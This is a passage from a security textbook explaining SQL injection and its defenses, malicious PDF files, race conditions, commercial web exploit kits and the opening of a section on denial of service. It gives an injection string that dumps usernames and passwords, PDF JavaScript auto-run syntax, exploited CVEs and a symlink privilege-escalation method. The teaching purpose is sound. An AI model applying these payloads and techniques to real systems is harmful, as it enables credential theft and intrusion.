injection attack can include sensitive data leakage, website deface-
ment, or the destruction of the entire database.

SQL is a computer language that allows programs to interact with 
relational databases like MySQL and Microsoft SQL Server. To 
retrieve, insert, or update information in the database, a programmer 
must craft a query that accesses the correct data to achieve the desired 
result. The simplest query involves selecting a piece of information from 
a table. For instance, a database supporting a blog might contain a table 
that stores data related to the entries in the blog. To retrieve the text of 
each blog entry, a programmer might execute the following query:

SELECT text FROM blog_entries;

This query will return the data in the “text” column for each of the 
rows in the blog_entries table. Of course, this query is not very useful 
because we probably want to display a specific blog or subset of all of 
the entries rather than every blog in the database.

SELECT text,user,timestamp FROM blog_entries WHERE 
user = ‘user1’;
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This query is more complex. It still retrieves the text of the blog entry, 
as well as the name of the user who wrote it and the time of publica-
tion. It also includes a WHERE clause that specifies that the returned 
data should only include blogs with the user’s name user1.

To achieve this, we might create a dynamic query that can accept 
information from a program, like a Web application. Programmers 
normally do this through a high-level language such as PHP, Perl, 
or ASP. The following pseudocode shows how a programmer might 
accomplish this:

#Get Username
username = getInputFromUser()

#Create SQL Query containing username
sql_query = “SELECT text,user,timestamp FROM blog_
entries where user = ‘“ +
username + “‘;”

#Execute complete query
database.execute(sql_query);

First, the program acquires the username that it should search for 
from the user, commonly through a Web search form or URL vari-
able. Next, the program adds the username to the query by concat-
enating the two sections of the query with the username. Finally, the 
program executes the fully formed query in the database to retrieve 
the results. This type of dynamic query is vulnerable to SQL injection 
attacks because it does not properly validate the input provided by the 
user. Exhibit 3-13 shows how this query is constructed, with the query 
text in light gray and the data supplied by the user in dark gray.

An attacker can exploit this query by providing input that the data-
base does not know it should treat as data and treats as SQL code 
instead. Exhibit 3-14 shows how the data supplied to the query might 
completely change its function.

SELECT text, user, timestamp FORM blog_entries where user = ‘ userl ’;

Exhibit 3-13 Proper data provided to a structured query language (SQL) query.

SELECT text, user, timestamp FORM blog_entries where user = ‘ x’; SELECT uname, pwd from users; -- ’;

Exhibit 3-14 An SQL injection attack.
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In this case, the attacker provided the following string in place of 
the username variable:

x’; SELECT uname,pwd FROM users; --

This string begins with the character x followed by a single quote 
and a semicolon. The single quote ends the data string, and the semi-
colon tells the database to execute the query so far. This probably will 
not return any information unless there is a user named x. The data-
base will then process the rest of the query, which selects the columns 
“uname” and “pwd” from the table named “users.” This query will 
return a list of all usernames and passwords in the database. Finally, 
the string terminates with “--”, which declares the rest of the line 
as a comment that will not be executed. This SQL injection attack 
forces the database to return sensitive information (usernames and 
passwords) rather than the expected blog data.

This attack accesses sensitive information but could just as easily 
modify the database to include malicious content using an UPDATE 
command, or destroy the entire database using a DROP command. 
Since early 2007, attackers have launched very widespread SQL injec-
tion attacks on websites that update the database to include mali-
cious IFrames in the text. When the server displays this text in a 
Web page, those IFrames attempt to infect unsuspecting visitors. This 
attack effectively changes a website the user expects to be safe into a 
malicious one using SQL injection.14

3.1.5.1 Protecting against SQL Injection Protecting against SQL injec-
tion attacks requires ensuring that data used in an SQL query are valid 
and will not be executed by the database engine. Programmers nor-
mally accomplish this through two possible methods. With the first 
method, programmers can try to ensure that the data do not include 
any special characters such as single quotation marks that might cause 
the database to treat data as code. Many languages provide a func-
tion that performs this task. The most commonly known is PHP’s 
mysql_real_escape_string.15 This function “escapes” special characters 
by placing a backslash in front of them, causing the database to treat 
them as data and not execute them. An alternative technique to sani-
tizing user input is to only allow good data into the application rather 
than escaping bad data. For instance, database fields that should only 
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contain letters and numbers are validated using regular expressions 
that match those characters before using the data in the SQL query.

The second method involves the use of parameterized queries. 
Parameterized queries allow the programmer to define a query and 
pass data into it without performing dangerous string concatenation. 
The following pseudocode shows how programmers can use param-
eterized queries to make the code shown in the previous section safe 
from SQL injection.

#Get Username
username = getInputFromUser()

#Create the Parameterized Query using the %s format 
string.
sql_query = “SELECT text,user,timestamp FROM blog_
entries where user = %s;”

#Execute the parameterized query, specifying the data 
separately
database.execute(sql_query, (username));

With parameterized queries, the database is aware of what is code and 
what is data and can avoid SQL injection based on that knowledge. 
Unfortunately, this facility is not available in all programming lan-
guages and, as such, cannot protect every application.

When organizations lack the ability or resources to audit and 
test for SQL injection vulnerabilities in their Web applications, 
a Web Application Firewall (WAF) may be an alternate solu-
tion. ModSecurity is an open source WAF that can act as a reverse 
proxy, sitting between a Web server and the Internet to filter incom-
ing requests for SQL injection and other types of attacks.16 A list of 
commercial and open source WAFs is available from the Open Web 
Application Security Project (OWASP).17

Users of Microsoft’s ASP.net Web-programming language should 
consult the extensive guide produced in 2005 that details techniques 
and strategies for avoiding SQL injection.18

3.1.5.2 Conclusion SQL injection attacks have become incredibly 
common in recent years. Automated attacks launched by botnets 
continuously scan the Internet for possibly vulnerable Web pages and 
attempt to compromise them. It is vital to protecting the integrity of 
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a database that the queries executed on it contain properly validated 
data that will not be mistakenly treated as code.

The defenses against SQL injection attacks are simple to implement 
but often overlooked by novice programmers or those looking to stand 
up a website quickly. When possible, administrators should test both 
homegrown and commercial off-the-shelf (COTS) Web applications 
for SQL injection vulnerabilities. OWASP provides a guide to testing 
applications and other valuable information on SQL injection vulner-
abilities through their website.19 When this testing is not possible, 
administrators should consider deploying a WAF to provide generic 
protection against SQL injection and other attacks on Web servers.

3.1.6 Malicious PDF Files

Portable document format (PDF) files are so common that users often 
do not realize the potential danger they pose. Adobe Acrobat is a 
commonly installed application on all Microsoft Windows comput-
ers. The PDF file format is risky because many users have vulnerable 
PDF viewers installed that attackers can exploit to install malicious 
code. Attackers also commonly use PDF files to launch targeted 
attacks because they can often convince victims to open a PDF file 
to install malicious code. Multiple previously unknown or unpatched 
PDF vulnerabilities have allowed attackers to launch targeted attacks 
against high-priority victims as of 2009.

To make matters worse, Web browsers load PDF files automati-
cally, so a malicious PDF file can exploit a user’s computer without 
any interaction once the user visits a malicious website. Commercial 
Web attack toolkits commonly incorporate PDF exploits because 
PDF viewers are widely installed, and attackers can influence many 
different browsers, including Internet Explorer and Firefox.

Malicious PDF files usually contain JavaScript, but many excep-
tions exist that execute arbitrary code without JavaScript. Attackers 
commonly use JavaScript because the instructions can allocate large 
blocks of memory (heap spraying), which allows an attacker to reliably 
jump to certain addresses upon gaining control of execution through 
a vulnerability. Attackers also rely on JavaScript to hide the intent of 
their code because they can use eval() or similar functions to dynami-
cally execute statements when the JavaScript code runs.
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3.1.6.1 PDF File Format The format of a PDF file is largely based 
on plain text tags, although many stream objects use compression. 
Opening a PDF file within a hex editor shows objects that are num-
bered 1 0 obj, for example. Other sections of the PDF file can refer-
ence these objects by number (see Exhibit 3-15).

Each object has attribute tags that describe its purpose. The obj, 
endobj, stream, and endstream tags correspond with the beginning 
and end of each section, and each attribute starts with “/”. The cross-
reference (xref) table contains entries corresponding to the file offset 
for each object. One common attribute for data in PDF files is the /
FlateDecode attribute, which the viewer decompresses with the zlib 
library; object 14 is shown here:

14 0 obj
<</Length 838 /Filter /FlateDecode>>
stream
… zlib compressed binary data …
endstream
 endobj

Malicious PDF files often contain malicious JavaScript code that 
analysts can inspect after decompressing the zlib data. To instruct the 
PDF viewer to execute the JavaScript code upon opening the file, the 
author must also assign an action to the object similar to one of the 
following examples:

<</Type/Action/S/JavaScript/JS 14 0 R >>
<</OpenAction <</JS (this.wBx9J6Zzf7\(\))
/S /JavaScript

The Action attribute specifies that the PDF reader should execute 
the JavaScript code in object 14. The /OpenAction attribute can call 
the JavaScript function wBx9J6Zzf7(), which the PDF file defines in a 
different object. The PDF file format also allows incremental changes 

PDF Headers
Object 1
Object 2
Object 3

PDF Trailer
xref Table

ojb 2 0
<< /AttributeA value /AttributeB >>
stream
...
endstream
endobj

xref
0 4
000000000 65535 f
offsetObject1 00000 n
offsetObject2 00000 n
offsetObject3 00000 n

Exhibit 3-15 Structure of a PDF file.
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without modifying the original file. For each modification, the appli-
cation appends a changes section, xref section, and trailer section. As 
a result, a PDF file may grow large if the author repeatedly updates it. 
More information on the PDF file format and JavaScript functional-
ity is available from Adobe.20

The Adobe JavaScript engine exposes several PDF-specific objects, 
including app, doc, dbg, console, global, util, dialog, security, SOAP, 
search, ADBC, and event objects.21 It also exposes some online 
collaboration commands for review, markup, and approval. These 
exposed objects are often the areas of vulnerability that attackers have 
exploited in the past.

3.1.6.2 Creating Malicious PDF Files Many of the most common Web 
exploit toolkits include one of the following recent PDF exploits:

CVE ID
VULNERABLE JAVASCRIPT 

FUNCTION

2007-5659 collab.collectemailinfo
2008-2992 util.printf
2009-0927 collab.geticon
2009-1493 spell.customDictionaryOpen
2009-1492 getAnnots

All of these vulnerabilities commonly use JavaScript exploits to 
execute arbitrary code. Exactly how attackers build these malicious 
PDF files is unknown; however, there are several public tools avail-
able to embed JavaScript within PDF files and decode PDF files. 
Adobe publishes some advanced commercial tools for modifying and 
creating PDF files; however, attackers are more likely to use their 
own tools or freely available tools due to the simplicity of the PDF 
file format. The origami Ruby framework22 allows users to gener-
ate malicious PDF files by supplying their own malicious JavaScript. 
The origami framework can modify an existing PDF file by inject-
ing custom JavaScript code that executes when users open the PDF 
file. PDF tools like make-pdf, pdf-parse, and pdf-id are also available 
and have similar functionality.23 JavaScript deobfuscation tools are 
often necessary to understand the full purpose of JavaScript code con-
tained within PDF files because authors commonly use obfuscation 
techniques. Tools like jsunpack-n24 use PDF decoding and JavaScript 
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interpreters to understand the purpose of JavaScript code contained 
within PDF files.

Other means of embedding malicious content exist. For example, 
Adobe added an embedded Flash interpreter as a new feature in Adobe 
Reader 9.25 iDefense has analyzed targeted attacks that embed mali-
cious Flash objects within PDF files.26 The ability to send malicious files 
embedded in PDF files increases the attack surface of PDF viewers.

The high number of vulnerabilities in Adobe Acrobat and the high 
number of attacks that use those new vulnerabilities should be of great 
concern for system administrators. Many actions that administrators 
should take will reduce the effectiveness of attacks. Administrators 
should put these measures in place because there are many instances 
of attackers exploiting these vulnerabilities before Adobe releases 
updates to vulnerable products.

3.1.6.3 Reducing the Risks of Malicious PDF Files Disabling JavaScript 
in the PDF reader is one way to limit the effectiveness of many 
exploits (Preferences → JavaScript → Uncheck Enable Acrobat 
JavaScript). This limits the effectiveness of PDF vulnerabilities that 
attackers incorporate into Web exploit toolkits. PDF vulnerabilities 
that do not depend on JavaScript will still be effective. For exam-
ple, a Flash file in Adobe Reader 9 can still load without JavaScript. 
Attackers may also be able to trigger the same vulnerabilities that 
typically use JavaScript without JavaScript. One caveat of disabling 
JavaScript in this manner is that a user may still execute the mali-
cious JavaScript code. Whenever a PDF contains JavaScript and the 
viewer has the configuration option to disable Acrobat JavaScript, the 
message seen in Exhibit 3-16 appears. This prompt gives the user the 
ability to execute JavaScript code despite disabling it in the configu-
ration, and users must select the correct option to prevent infection 

Exhibit 3-16 Adobe Reader allows users to enable JavaScript, even when they disable it.
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from a malicious PDF file. Normally, selecting “No” has no nega-
tive impact on the behavior of the PDF file. Administrators can also 
configure Adobe Acrobat to disable embedded Flash files and other 
media files. In the “Preferences → Multimedia Trust (legacy)” menu, 
uncheck “Allow multimedia operations” for both trusted documents 
and other documents.

Disabling both JavaScript and multimedia is still ineffective against 
certain less common vulnerabilities that do not use JavaScript or media 
files. Examples like the JBIG2 Encoded Stream Heap Overflow 
Vulnerability (CVE-2009-0928), which attackers used in targeted 
PDF attacks before Adobe patched it, show that other vulnerabilities 
exist that administrators must also consider.

Preventing PDF files from loading in the Web browser can reduce 
the risk of users loading malicious PDF files. Since many of them 
silently embed PDF files, disabling add-ons that load PDF files will 
prevent files from automatically loading in the browser. Most of the 
PDF exploits in malicious tools embed an invisible object or redi-
rect users from another separate page. Victims often do not always 
purposely open the malicious PDF files since the browser can load 
them automatically. Administrators should remove the ability of the 
browser to open embedded PDF files automatically, which forces 
users to manually open each PDF file. This measure reduces the like-
lihood that a user will open a malicious PDF file, which attempts to 
open without user consent. In Firefox, users can disable the Adobe 
Acrobat add-on. In Internet Explorer, administrators can disable add-
ons via Tools → Manage Add-ons → Enable or Disable Add-ons (see 
Exhibit 3-17).

iDefense tested removal procedures in Internet Explorer 7 and iden-
tified that disabling both the browser helper object (AcroIEHelper.
dll) and ActiveX control (AcroPDF.dll) did not prevent the PDF file 
from loading when embedded in a Web page with an IFrame. To fully 
remove the capability to automatically open PDF files, it was neces-
sary to also remove the PDF file type from the Folder Options menu 
(Tools → Folder Options → File Types).

PDF conversion tools are another effective way to limit the impact 
of attacks. Administrators may choose to use tools such as the Linux 
command-line utility “pdftotext,”27 which converts a PDF file to plain 
text. While this conversion tool removes many of the useful features 
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(visual components, media files, and interactive features) of PDF files, 
administrators may prefer other conversion tools that preserve more of 
the PDF file format.

3.1.6.4 Concluding Comments Attackers often use malicious PDF 
files to target victims, whether in targeted attacks or when attacking 
the browser. Attackers can modify any existing PDF file to append 
malicious content; therefore, every PDF file may contain malicious 
content regardless of how much the user trusts the content. To reduce 
the risks of malicious PDF files executing arbitrary code, administra-
tors can eliminate some of the common dependencies that malicious 
PDF files contain, including JavaScript and embedded media con-
tent. To mitigate the risk of malicious PDF files more aggressively, 
administrators should take these actions even though they reduce the 
functionality of PDF files. While both JavaScript and media content 
in PDF files are useful for certain documents, they are generally not 
necessary for every document, and PDF files that function incorrectly 
without them are rare. This rich functionality is one of the reasons 
why attackers target PDF files so heavily and is why they will con-
tinue to do so in the future.

3.1.7 Race Conditions

Race conditions result when an electronic device or process attempts 
to perform two or more operations at the same time, producing an 

Exhibit 3-17 Disabling an Adobe PDF browser helper object and ActiveX control.
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illegal operation. This section explains the concepts behind race con-
ditions with examples and methods for detection and prevention.

Race conditions are a type of vulnerability that an attacker can use 
to influence shared data, causing a program to use arbitrary data and 
allowing attackers to bypass access restrictions. Such conditions may 
cause data corruption, privilege escalation, or code execution when 
in the appropriate context. Race conditions are also known as time-
of-check and time-of-use (TOC/TOU) vulnerabilities because they 
involve changing a shared value immediately after the check phase. 
When the program uses an unsuspected value, it may execute instruc-
tions reserved for a different purpose or allow an attacker to redirect 
critical information.

Race conditions are limited in where they occur. They require mul-
tiple callers accessing shared information. For instance, race conditions 
can occur if two or more threads influence the same shared memory, 
files, or other types of data that a program uses. Consider the analogy 
of a traffic signal that only has two states: green (for go) and red (for 
stop). A race condition is analogous to two drivers who are both in the 
intersection at the same time because there is no delay between the 
switching of states from green to red. Similar to car accidents, race 
conditions can have catastrophic effects on threads and applications.

Environments favorable to race conditions are becoming more com-
mon as more applications use multiple threads and central processing 
unit (CPU) cores for performance improvements. In the future, tens 
or hundreds of cores could provide programmers with parallel access 
to data and make race conditions possible in even more applications. 
Multiple callers, CPUs, threads, and parallel access systems are all 
conducive to race conditions. Race conditions over the network are 
also possible and introduce the most latency; therefore, they could 
have the largest window of opportunity and thus be easier to exploit. 
In the time it takes a computer to complete a single network operation 
(assuming it takes 0.1 seconds), modern CPUs can execute about 7.5 
billion instructions. Due to these differences, the window of opportu-
nity for a race condition is typically much smaller for local operations 
than network-based operations.

3.1.7.1 Examples of Race Conditions Network race conditions are com-
mon among non–Transmission Control Protocols (non-TCPs) such 
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as User Datagram Protocol (UDP). Many network communications 
suffer from these problems because the program accepts the first 
answer to questions it asks. That is, there is a short amount of time 
between when the user asks the question and when he or she receives 
a legitimate answer in situations in which an attacker can respond and 
exploit the race condition. As an example, consider the domain name 
system (DNS) answering race condition in Exhibit 3-18.

Exploiting the DNS answering race condition and other UDP-
based race conditions is difficult because the attacker does not know 
when the user will ask a question or what the question will be. If 
the attacker answers the wrong question, the client is likely to ignore 
it. Therefore, attackers attempting to exploit the DNS race condition 
flood the victim with answers to questions that he or she has not 
asked. Making the attack even more difficult, the DNS caching and 
the DNS time to live (TTL) limit the number of times that the vic-
tim needs to ask the question, making the window of opportunity for 
an attacker small. When attackers are using “blind” attacks, they do 
not know when the victim is vulnerable, and therefore such attacks 
are difficult to exploit successfully. Attackers on the local network 
may have information and feedback mechanisms, making it easier for 
them to exploit race conditions.

Race conditions can also occur when privileged applications use 
unprivileged files. As one example affecting the X windowing system, 
the local service X Font Server (xfs, which runs as root) changes the 

DNS Answer for example.com
IP Address 192.0.32.10

Multiple DNS Answers
for example.com

IP Address 6.6.6.6

Victim Valid DNS Server

Attacker

Race Condition

Failed

Failed

Pa
ss

ag
e o

f T
im

e
DNS Query for example.com

Exhibit 3-18 A domain name service (DNS) answering a race condition over the User Diagram 
Protocol (UDP).
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permission of a file within “/tmp/” to world writable (meaning anyone 
can modify the file). If the attacker creates a symbolic link (symlink) 
within the /tmp/ directory at the right moment, the xfs service will 
change the permissions of any file on the system because the change 
in permission affects the target of the symlink instead of the original 
filename. To exploit this race condition, an attacker repeatedly tries 
to create the symlink to the “/etc/passwd” file. When the xfs service 
changes the permissions of the symlink target, it allows the attacker 
to add a new account to /etc/passwd and therefore gain root privi-
leges.28 Such an attack requires the attacker to have at least a limited 
account to create symlinks; therefore, this exploit allows attackers to 
escalate their privileges to root.

Similar to shared files, race conditions can affect shared process 
memory. If a user can influence the memory, an attack can manifest in 
many ways. Suppose a thread performs the following pseudocode to 
find the function address, which it calls immediately afterward:

FunctionAddress = memory[pointerA]
If FunctionAddress within kernel32.dll: #STATEMENT1
Then:
Parameters = memory[pointerB]
Call FunctionAddress with Parameters #STATEMENT2

In this case, STATEMENT1 represents the TOC, and 
STATEMENT2 represents the TOU. In the time between 
STATEMENT1 and STATEMENT2, another thread can alter the 
values of the memory at pointerA and pointerB, affecting the Call 
STATEMENT2. An attacker who successfully altered the memory 
could execute any function with any parameters, even those functions 
that do not satisfy the restrictions within STATEMENT1. A Linux 
kernel vulnerability (in version 2.6.29) exists that is similar to this 
vulnerability because the lock (mutex) between the ptrace_attach() 
and execve() functions does not prevent multiple threads from access-
ing the shared memory. Exploiting the vulnerability allows a local 
user to escalate his or her privileges.29

Race conditions are difficult to locate from a testing perspective 
because instructions can require infinitesimally small amounts of time 
based upon the high number of instructions that modern CPUs exe-
cute per second. The likelihood of two programs requesting the same 
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shared data at the same time is very unlikely under normal circum-
stances for a few reasons. First, the operating system scheduler deter-
mines how to prioritize multiple applications and threads, not the 
user mode application. The attacker has little control over these subtle 
timing constraints and, for this reason, may repeat the same action 
millions of times before favorable conditions exist. Second, the oper-
ating system uses a special signal called an interrupt request (IRQ ) 
to trigger actions. As the name implies, interrupts can change the 
execution of a program and execute different code. An IRQ changes 
the execution flow and may either help or hinder exploiting race con-
ditions. The uncontrollable nature of interrupts and scheduling makes 
it difficult to use timing attacks reliably. Exploiting race conditions 
requires brute force, especially in high volume when the window of 
opportunity is very small.

3.1.7.2 Detecting and Preventing Race Conditions Since many race 
conditions require the attacker to use brute force techniques, attack-
ers exploiting race conditions may raise many anomalies and errors 
on the system. Attempting to exploit a race condition may cause 
an extended spike in CPU use or a high volume of failed requests. 
System administrators should look for signs of a high volume of fre-
quently repeated operations.

Race conditions are preventable, provided programmers use the 
right tools. Semaphores and mutexes (short for mutual exclusions) pro-
vide instructions that are not vulnerable to race conditions. Mutex 
instructions succeed when other instructions fail because of their 
atomic nature. Atomic instructions are single instructions that the 
CPU can execute in a single clock cycle, unlike nonatomic instruc-
tions, which execute in multiple clock cycles. Exhibit 3-19 illustrates a 
comparison between atomic and nonatomic instructions for checking 
and locking a resource A.

CHECK_A

Current Instruction Current Instruction

LOCK_A

CHECK_A

CHECK_A
LOCK_A�read 1

�read 2

�read 1

�read 2 CHECK_A
LOCK_ALOCK_A

Exhibit 3-19 A comparison of nonatomic (left) and atomic (right) versions of locking a 
resource.
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In both the nonatomic and atomic cases, the CPU is executing the 
same instructions; however, in the nonatomic case on the left, both 
Threads1 and Thread2 obtain the same lock, which should never hap-
pen. In the atomic case, the check and lock procedure is part of a single 
instruction, which prevents the race condition and allows Thread1 to 
obtain a lock and Thread2 to determine that the lock is unavailable.

If the operation successfully locks a resource using an atomic (or 
hardware-based) instruction, the program can proceed knowing that 
no other thread was able to lock that same resource. Using locks 
requires that calling programs release allocated locks they already 
obtained. Many mutex systems also differentiate between read and 
write locks because, as mitigation for starvation of the writers, giving 
writers higher priority than readers can benefit the program when 
there are a high number of readers.

3.1.7.3 Conclusion Attackers use race condition vulnerabilities less 
than buffer overflows and other code execution vulnerabilities. They 
are less reliable and may require high volumes of traffic or activ-
ity, which are undesirable for attackers who do not wish to raise any 
alarms. Attackers use race conditions most commonly to escalate 
privileges because attackers cannot often control the desired actions 
to trigger the race condition based on otherwise untrusted data.

3.1.8 Web Exploit Tools

To accomplish the process of identifying vulnerable targets and deliv-
ering appropriate exploits to them, attackers frequently use tools con-
taining exploits for numerous vulnerabilities. Some tools are freely 
available, though hackers must purchase the most effective ones in 
hacking forums. After infecting users with the chosen payload, the 
tools collect statistics that allow attackers to run more targeted attacks 
and allow criminals to track metrics useful for billing clients for mali-
cious services, such as the number of installations performed.

Web exploit tools (or exploit kits) give attackers the ability to 
execute arbitrary code using vulnerabilities or social engineering. To 
attract visitors to the malicious websites, attackers often compromise 
other servers to append IFrame tags, which direct visitors to attack-
ers’ Web exploit tools. Upon visiting a malicious website, the exploit 
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tool attempts to launch many different exploits to execute arbitrary 
malicious code. This section describes Web exploit tools and how they 
fit into the businesses that have benefited from client-side attacks. 
Exhibit 3-20 shows how attackers use Web exploit tools to install 
malicious code on victims’ computers.

Most Web exploit tools are so simple that the operator needs only 
to supply the executable virus for installation. Web exploit tools usu-
ally handle hiding, exploitation, and statistics automatically. Other 
services allow an attacker to make money from running a Web exploit 
tool and to gain a large number of victims very quickly.

3.1.8.1 Features for Hiding Many exploit tools hide exploits through 
encoding, obfuscation, or redirection. Exploit tools attempt to hide 
exploits to prevent both detection and analysis, which iDefense dis-
cussed in a “State of the Hack” article entitled “iDefense Explains … 
Obfuscation.”30 Exploit tools encode traffic so that the victim decodes 
it using JavaScript or VBScript. Intrusion detection systems (IDSs) 
are a defensive measure that is ineffective at detecting encodings 
because the content transferred over the network is different from the 
content that the client executes.

Exploit tools also use JavaScript or HTTP headers to profile 
the client and avoid sending content unless the client is vulnerable. 
Exploit tools often try to detect multiple vulnerabilities to determine 
which will be effective and if the tool should attempt multiple attacks 
against a website visitor. HTTP headers like user-agent and browser 
variables like navigator or app reveal information that gives attackers 

Web Exploit Tool

Visit Website

Victims

Virus

Exhibit 3-20 Victims visiting a Web exploit tool, which attempts to install a virus.
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the necessary information. If the exploit tool determines that the cli-
ent is not vulnerable, it may redirect him or her to a benign URL or 
display an empty page. Attackers can also configure tools to check the 
language of the victim’s browser and the victim’s geographic location, 
or if the victims arrived at the exploit tool through a valid source. 
Exploit tools analyze the referrer HTTP header to determine if the 
victim originates from an infected page. In this way, exploit tools 
avoid sending malicious content to researchers who may use search 
engines or other mechanisms to analyze a website.

3.1.8.2 Commercial Web Exploit Tools and Services There are a large 
variety of commercial Web exploit tools and services available to 
install malicious code on victims’ computers. Purchase prices for 
source code for Web exploit tools vary widely from US$30 to as much 
as US$2,000. Exhibit 3-21 shows thirty different Web exploit tools, 
including prices, information about the author, and whether iDefense 
has seen attackers use the tool in the wild.

Other exploit services are market driven by supply and demand. 
Running an exploit tool on a server requires little computer knowl-
edge to infect victims because the only input is an executable. Market-
driven services require even less knowledge or skill. The major markets 
include selling traffic (IFrames) and selling installs (the customer sup-
plies the executable to run).

Pay-per-install services allow actors to buy and sell installations, 
which is the easiest way for a customer to install malicious code. Some 
examples of pay-per-install services include IFrameDollars and Loads.
cc (see Exhibit 3-22).

Pay-per-traffic services allow attackers to attract a large num-
ber of victims to their Web exploit tools. Attackers can then either 
install their own viruses or sell installs via the pay-per-install model. 
Examples of pay-per-traffic services include IFrame911.com and 
RoboTraff.com (see Exhibit 3-22).

While the examples have public websites and are generally more 
available to the public, the same pay-per-install and pay-per-traffic 
services are available privately from individuals on hacking forums. 
Attackers can also operate each part separately from these services. 
This has advantages because it limits their interaction and dependence 
on third-party services. If those services became known or otherwise 
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SOLD AS LANGUAGE PRICE AUTHOR
SEEN IN 

WILD

0x88 PHP Unknown Unknown or no author 
credited

Yes

AD Pack PHP Unknown Unknown or no author 
credited

Yes

Armitage PHP Unknown Unknown or no author 
credited

Yes

Death Pack PHP $90 Sploi1ter No

eCore Exploit Pack PHP $590 Multiple Aliases Unknown

Exploit Multipack PHP Unknown Unknown or no author 
credited

Yes

Firepack PHP Unknown DIEL Yes

FlooP Pack PHP $800 FlooPy[Error] No

G-Pack PHP $99 Garris Yes

IcePack Lite PHP $30 Ni0x / IDT Group Yes

IcePack Platinum PHP $400 Ni0x / IDT Group Yes

INFECTOR Professional PHP Varies XOD No

INFECTOR Standart PHP $1,300 XOD No

Le Fiesta PHP € 500 el Yes

MPack PHP $700 Dream Coders Team Yes

myPOLYSploits PHP $150 4epolino Yes

N404-Kit (temporary 
iDefense name)

PHP Unknown Unknown or no author 
credited

Yes

Neosploit C (CGI) $1,500 grabarz Yes

Nuclear’s bot PHP $150 Nuclear Unknown

Nuklear Traffic PHP Unknown Unknown or no author 
credited

Yes

System PHP $30 REALiSTiC Yes

SmartPack PHP $200 Unknown or no author 
credited

Unknown

Exhibit 3-21 Exploit kits commonly used by cyber criminals. Continued



156	 Cyber	seCurity	essentiAls

© 2011 by Taylor & Francis Group, LLC

unavailable, investigators could discover their users or otherwise dis-
rupt the business. Attackers may instead generate their own traffic to 
exploit tools using SQL injection. Attackers can inject IFrames into 
vulnerable servers. More information on these attacks is available in the 
“State of the Hack” article “iDefense Explains … SQL Injection.”31

Infected websites often contain multiple levels of redirection; both 
pay-per-traffic and pay-per-install business models are possible rea-
sons for the multiple redirects. The separation of work includes gen-
erating traffic, exploiting systems, and running arbitrary executables 

SOLD AS LANGUAGE PRICE AUTHOR
SEEN IN 

WILD

SPREADER PHP $2,000 NeRox Yes

Tornado PHP $600 Expire2012 Yes

Ultra Lite Pack PHP $50 cracklover No

Underwater Exploit Pack PHP $500 Underwater Unknown

Unique Bundle of Exploits PHP $400 system Yes

WebAttacker CGI N/A Inet-Lux IT Group Yes

WebAttacker II PHP $1,000 Inet-Lux IT Group Yes

Z-Kit (temporary iDefense 
name)

PHP Unknown Unknown or no author 
credited

Yes

Exhibit 3-21 (Continued ) Exploit kits commonly used by cyber criminals.

Web Exploit Tool Web Exploit Tool

Pay-Per-Traffic Pay-Per-Install

Victims Victims

Virus

Virus

Exhibit 3-22 Pay-per-traffic and pay-per-install commercial markets.
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on the victim machine. Attackers can make money in this process by 
being proficient in any one of the steps.

3.1.8.3 Updates, Statistics, and Administration Most Web exploit 
tools available today target browser vulnerabilities or browser plug-
ins. Attackers can develop new exploits or integrate the latest public 
exploits to improve their likelihood of being successful against a vic-
tim. Some attackers advertise that they offer zero-day exploits, which 
exploit vulnerabilities that the vendor has not released a patch for in 
its toolkits. Others sell premium versions of their tools that they will 
integrate with the latest exploits. Despite these advertisements for 
enhanced services, Web exploit tools often integrate publicly available 
exploits such as those available from Metasploit or milw0rm.com. The 
tools sometimes offer statistics on visitors to show how successful their 
exploits are and what countries, operating systems, and browsers the 
visitors use. Le Fiesta is a Web exploit tool that tracks many attributes 
about visitors (see Exhibit 3-23) and builds victim statistics to know 
which software the operators should target.

Many exploit tools provide administration interfaces protected 
by usernames and passwords through which an attacker can obtain 
detailed information, modify the behavior of the exploit tool, or take 

Exhibit 3-23 Statistics for the Le Fiesta exploit tool.
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other actions. Some exploit tools utilize a database such as MySQL to 
provide permanent storage capabilities.

While update services are only marginally useful because of copying, 
authors of exploit tools often do lead efforts in hiding and obfuscation 
efforts. Commercial Web exploit tools have the fastest evolution, mak-
ing it difficult for researchers to determine what exploits they use.

3.1.8.4 Proliferation of Web Exploit Tools Despite Protections Malicious 
actors have offered many commercial exploit tools free on hacking 
forums, and it is not clear how profitable exploit tool development is, 
given the availability of these leaked versions.

Some Web exploit tools contain protections to prevent copying and 
modification. The protections include the following:

• Source code obfuscation
• Per-domain licenses that check the local system before running
• Network functionality to confirm validity (license checks)
• An end-user license agreement (EULA)

Since authors write many Web exploit tools in PHP, the source 
code is available. To prevent source code from being available and 
authors from writing exploits, Web exploit tool authors commonly 
use commercial PHP obfuscation tools such as NuSphere’s NuCoder 
or Zend Guard when they distribute their source code. Some exploit 
tools like Neosploit use compiled C code to run as CGI programs, 
which require much more time to reverse engineer or modify since 
they do not preserve the original source code.

Despite these protections, copying and proliferation of many exploit 
tools are still common. Malicious authors write most Web exploit 
tools in PHP (or a compiled language) because the tools can generate 
content based upon parameters and use a database; however, authors 
can copy an existing exploit tool if they are able to observe the exploits 
it uses and modify them to execute a different executable. Tools like 
Dezend may also offer attackers and researchers ways to reverse the 
Zend Guard encoding.32 Compiled content requires reverse engineer-
ing, and although it offers some protection, it is not always capable of 
preventing modification.

Attackers that use exploit tools do not always purchase tools since 
some are freely available. The commercial markets that depend on 
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exploit tools have supply-and-demand components for supporting the 
Web exploit tool use, including pay-per-traffic and pay-per-install 
models. The proliferation of Web exploit tools is one indicator that 
attackers are investing resources into this market. Commercial Web 
exploit tools often include hiding and obfuscation techniques to evade 
defensive measures.

Attackers using these tools collect victim trends and statistics that 
allow them to focus their efforts to be successful in the future. The 
division of traffic exploits and installs will likely continue as each 
area improves.

3.1.9 DoS Conditions

Incidents reported daily in the news are a reminder that denial of 
service (DoS) attacks are a major threat to systems connected to the 
Internet, especially those of e-commerce, financial services, and gov-
ernment services. This section explains how these attacks work and 
offers solutions to mitigate the effects of future attacks.

Computer networks are the backbone for telecommunications and 
consist of a vast array of clients and servers for information exchange. 
Servers offer services, such as a Web or file transfer protocol (FTP) 
service, with which clients can interact to share or obtain information. 
When servers or services cannot respond to client requests, a situa-
tion called a DoS condition arises. A DoS occurs when a disruption 
impairs information exchange, resulting in slow or halted communi-
cation. The consequences of a DoS can vary depending on the situa-
tion, but they typically incur severe downtime resulting in financial 
losses. These consequences attract malevolent individuals to perform 
DoS attacks against targets of interest.

DoS is a general term to describe a lack of access to a service. The 
lack of access can occur for many reasons and at different points 
between the client and server. Points subjected to a DoS condition are 
